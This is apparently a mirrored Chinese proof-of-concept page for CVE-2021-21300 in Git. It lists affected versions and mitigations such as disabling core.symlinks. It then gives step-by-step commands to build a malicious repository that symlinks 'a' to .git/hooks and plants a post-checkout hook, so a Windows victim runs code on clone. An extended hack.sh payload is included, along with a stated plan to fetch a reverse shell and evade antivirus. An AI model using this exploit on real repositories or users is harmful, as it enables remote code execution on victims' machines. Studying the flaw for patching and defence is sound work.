关联漏洞
介绍
# CVE-2021-21300
git多个版本中,对符号链接处理不严格。在大小写敏感(例如Linux)的文件系统上传文件到git后,使用大小写不敏感文件系统(例如Windows)的主机克隆恶意 仓库时可能导致远程命令执行 。
## 受影响版本
从 2.15 至 现有的 2.30.1
## 解决方案
1、升级版本
2、如下
禁用git 的symlink: git config --global core.symlinks false
禁用 process filter (通常是 LFS 使用此功能),可以通过 git config --show-scope --get-regexp 'filter\..*\.process 查看
## 触发条件:
1、仓库中存在同名的链接符号 和目录
2、符号链接 指向特殊目录 (目前看来是.git/hooks)
3、受害机需要有足够权限执行恶意命令
# 复现
## 01 环境准备
### ①仓库准备:
系统:ubuntux64
需安装 git、git-lfs
执行 git lfs install命令可能会报错
Error: Failed to call git rev-parse --git-dir: exit status 128
可以忽略
出现Git LFS initialized.即完成安装
### ②受害机:
系统:win10x64
git for window :Git-2.17.1-64-bit
(https://www.npackd.org/p/git64/2.17.1.2)
git for window 的安装全为默认即可
## 02 恶意仓库准备
### ①在github新建仓库:
网上相应教程很多,不赘述
### ②在ubuntu构建恶意仓库并上传到github:
执行命令如下
```
$ git init
$ echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
$ git branch -M main
$ git remote add origin [自己的仓库地址]
$ git push -u origin main
```
## 03 攻击测试
在win10提供的**powershell(管理员)**中执行命令如下:
git clone -c core.symlinks=true [自己的仓库地址]
clone后出现 PWNED 即为远程命令执行成功
可见,在clone时,执行了post-checkout文件中的命令。
思路是使用IEX下载脚本,然后通过kali监听获取shell,但大多数脚本都会被识别阻止,通过免杀绕过应该能够实现。
## 04 扩展利用
在目录中添加脚本文件hack.sh
内容如下
```
#!/bin/sh
#################
echo "script working..." &&
cd / &&
pwd &&
mkdir hack
cd hack &&
touch hacked &&
echo "you has been hacked">hacked &&
echo "done!"
```
修改post-checkout中执行的命令以执行脚本
printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout
文件快照
[4.0K] /data/pocs/2cf2cf2689f5e36d74a124e3d1670861b65f107f
├── [ 10] a -> .git/hooks
│ ├── [ 478] applypatch-msg.sample
│ ├── [ 896] commit-msg.sample
│ ├── [4.5K] fsmonitor-watchman.sample
│ ├── [ 280] post-checkout
│ ├── [ 276] post-commit
│ ├── [ 274] post-merge
│ ├── [ 189] post-update.sample
│ ├── [ 424] pre-applypatch.sample
│ ├── [1.6K] pre-commit.sample
│ ├── [ 416] pre-merge-commit.sample
│ ├── [1.5K] prepare-commit-msg.sample
│ ├── [ 270] pre-push
│ ├── [1.3K] pre-push.sample
│ ├── [4.8K] pre-rebase.sample
│ ├── [ 544] pre-receive.sample
│ ├── [2.7K] push-to-checkout.sample
│ └── [3.6K] update.sample
├── [4.0K] A
│ ├── [ 0] a
│ ├── [ 0] b
│ └── [ 22] post-checkout
├── [ 159] hack.sh
└── [2.5K] README.md
2 directories, 22 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。